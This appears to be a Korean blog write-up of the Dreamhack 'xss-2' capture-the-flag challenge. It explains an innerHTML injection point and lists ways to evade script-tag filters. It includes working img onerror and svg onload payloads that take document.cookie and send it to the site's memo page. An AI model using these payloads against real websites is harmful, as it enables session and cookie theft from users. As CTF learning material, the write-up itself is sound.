본문 바로가기

웹해킹

드림핵 xss-2 롸업

<문제>

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

 

xss-2는 vuln 링크가 xss-1과 다르다.

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

입력된 param그대로 반환하지 않고 vuln.html을 렌더링한다.

{% block content %}
    <div id='vuln'></div>
    <script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
{% endblock %}

vuln.html파일을 보니까 이런 식으로 xss공격을 막아두었다.

그래서 xss-1에서처럼 script 태그를 사용하면 정상적으로 공격이 되지 않는다.

 

xss 공격 우회 태그에 대해서 검색해보니

<script> 태그가 막혔을 때 사용할 수 있는 방법이 나왔다.

1. 대소문자 혼용

<ScRiPt> 이런 식으로 script 태그 작성

2. script 필터링 우회

<scrscriptipt> 이렇게 작성하면 <script>로 인식 되는 경우도 있다고 함

3. 다른 태그 사용

<img src=x onerror= location.href="/memo?memo="+document.cookie;>

<svg onload=location.href="/memo?memo="+document.cookie;>

이런 식으로 다른 태그 사용 가능

 

img 태그와 onload 태그 모두 작동되었다.

이렇게 flag가 잘 나왔다!

'웹해킹' 카테고리의 다른 글

드림핵 csrf-1 롸업  (0) 2023.11.03
ClientSide: CSRF  (0) 2023.11.03
드림핵 xss-1 롸업  (0) 2023.11.03
Cross-Site-Scripting (XSS)  (0) 2023.11.03
드림핵 session-basic 롸업  (0) 2023.11.03